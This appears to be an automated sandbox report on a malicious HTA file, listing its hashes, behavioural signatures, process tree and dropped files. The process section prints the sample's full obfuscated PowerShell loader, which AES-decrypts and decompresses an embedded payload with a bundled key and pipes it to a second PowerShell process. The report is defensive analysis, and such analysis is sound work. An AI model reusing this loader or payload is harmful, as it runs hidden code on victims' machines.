Analysis
- max time kernel
117s - max time network
118s - platform
windows7_x64 - resource
win7-20231129-en - resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system - submitted
05/02/2024, 14:11
Static task
static1
Behavioral task
behavioral1
Sample
05022024_2211_fufu.hta
Resource
win7-20231129-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
05022024_2211_fufu.hta
Resource
win10v2004-20231222-en
19 signatures
150 seconds
General
- Target 05022024_2211_fufu.hta
- Size 75KB
- Sample240205-rhkveshef2
- SHA256 afc48453e2b08d97ee3b4f7ec1d8cb4114a8f6d3ff587ce4b90f52d39d4041fb
- MD5 a07c36f20a3b3a23a67121498568de52
- SHA1 e535ca98e7003dd977956b0b908fcbacd0e16665
- SHA512 3646899ece8e2016284bedff73ad2b5db91db8d9adc487ead622a4a332406ca7323ba9d431de1a49810d502f9bcd2944fbc5ea6aec459b62fd5bb266ee0c7b65
- SSDEEP 768:t7GFSdFRtWQtv4bfQiOoLbCKWNa3e40gzNU+/unhi1zOz:hGFSdsQtv4pC9N74ZJUti5Oz
- MD5 SHA1 SHA512 SSDEEP
Score
3/10
Malware Config
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main mshta.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2156 powershell.exe 2628 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2156 powershell.exe Token: SeDebugPrivilege 2628 powershell.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1684 wrote to memory of 2156 1684 mshta.exe 28 PID 1684 wrote to memory of 2156 1684 mshta.exe 28 PID 1684 wrote to memory of 2156 1684 mshta.exe 28 PID 1684 wrote to memory of 2156 1684 mshta.exe 28 PID 2156 wrote to memory of 2628 2156 powershell.exe 30 PID 2156 wrote to memory of 2628 2156 powershell.exe 30 PID 2156 wrote to memory of 2628 2156 powershell.exe 30 PID 2156 wrote to memory of 2628 2156 powershell.exe 30
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\05022024_2211_fufu.hta"1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1684 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $wZnLlEP = 'AAAAAAAAAAAAAAAAAAAAAKjO8GSphKaUS2Q/99c08yaF74QUfdC/7TJpr0BIexXotoXpUUr1lzZPemeYniNRPTzO+u94C+QyKge4MRzV3AGeg9FGoOGOvn+M73m7HNtxvwsHCt47tAuRH09iYYSG0w/BawvhkA8ll80IcIedId18DF84C9XsGn56AlkAr8ZeIVbnVbTiLjIJjhLjGKQzV6/UWUPD9XnojEuKrGGuICJnTBT8OUaIQNSyD/Bz61aTPMoZtx0+WA+paWV3s7fc9wxmzrmIkgbkj6fsyKDZUFhMXtenfsGsmFIFTjAlqasLXqusNhuRuc09ryq8ANSKy8pvxA3J3nWVtdeFCnfgJ1u6vgC+JTQNvOMps6H7IpCAkd3UQtiqqQfdbphJqIIkyv6t/BhAibHPDyhUQIyEkegtsMoEApvSdFR+UZBdiRQyYKtzEzxroPmdE66RWPCpm3VsKWQYa17IoYg9v5j8+uO63Zmbzseb2816NhtPu+v0pK9DxzfCfggC/YiL/WrhCP1W+aMRHzgtSh3IMzWqd6Q74+NA7Chxu4ZqCVw50nm6yGE0Sy7gax19LXA+fzDciciabzw29jkZYrT2iNmN3kBwqQpEBVsOc8S1/IKlN665E4V9XW/osx8WIovLzFO5avomt4oMgAlTmSN4XMlqv/CsaJU7jxpVv9H/i0Ij8ksBwfhhNQqIbDDHx1e/dp3WM2PAshRoVlSNVzL0jLbFtxbFZfP89S/h5qk93LfNXUafPJlzQF1aPdu23vLA0MOeIs/o6owAc9w28ckrpyO/U4nk9fJkqLr425QKV2wOgtK4kdMtetIgWrOMD0Thzqf6yR8nssNGL3dXR2S08MjOqtLyO43FK47wsAlU9nNZYE3njsU6NC7wppnMt9ZH228Jk3MxekxHl6lp4F+8lnB2nlM7xAXofh8ONDmwq17mjHkJDzRVjG6YXi/9KDp8Gn/xaIh+m7tsOxRIjfduhZAYYOA=';$dOdBXg = 'VGpZQUlOVERKVGhvRGx5T1dLZFpLemNQV1NmZVFmS1E=';$xwkNnD = New-Object 'System.Security.Cryptography.AesManaged';$xwkNnD.Mode = [System.Security.Cryptography.CipherMode]::ECB;$xwkNnD.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$xwkNnD.BlockSize = 128;$xwkNnD.KeySize = 256;$xwkNnD.Key = [System.Convert]::FromBase64String($dOdBXg);$pCZGI = [System.Convert]::FromBase64String($wZnLlEP);$bPSESAtp = $pCZGI[0..15];$xwkNnD.IV = $bPSESAtp;$tTZpoitHh = $xwkNnD.CreateDecryptor();$utsWucKhE = $tTZpoitHh.TransformFinalBlock($pCZGI, 16, $pCZGI.Length - 16);$xwkNnD.Dispose();$sdUVLsOW = New-Object System.IO.MemoryStream( , $utsWucKhE );$KpoNp = New-Object System.IO.MemoryStream;$BcWOdcPWe = New-Object System.IO.Compression.GzipStream $sdUVLsOW, ([IO.Compression.CompressionMode]::Decompress);$BcWOdcPWe.CopyTo( $KpoNp );$BcWOdcPWe.Close();$sdUVLsOW.Close();[byte[]] $mpOqT = $KpoNp.ToArray();$vggnI = [System.Text.Encoding]::UTF8.GetString($mpOqT);$vggnI | powershell -2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2156 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2628
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-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
- Size 7KB
- SHA256 0c45ffb2675b39b6d2ef8e9c521186f5c3deb58743f43f1600b2464c88624c47
- MD5 270e5d56170caa040263c64fff18cac6
- SHA1 9a2b1958f04edd7f6f69097323e5e9f7f7d7a48d
- SHA512 2837e179954dc08fac446b0f98e4c5cdb3a57e054b3ad5392601c00fff716776134a28d728a12ec3d707dc356c8b66f0d8bb34891aa710d46d0c0b5b03888e57
- SSDEEP 96:85aCNM8qnqvsqvJCwoGf/5aCNM8qnqvsEHyqvJCwor8fvd64QHgA7ScXlUV9:kv+UoGfxv+AHnor8fv7NA7ScC
- MD5 SHA1 SHA512 SSDEEP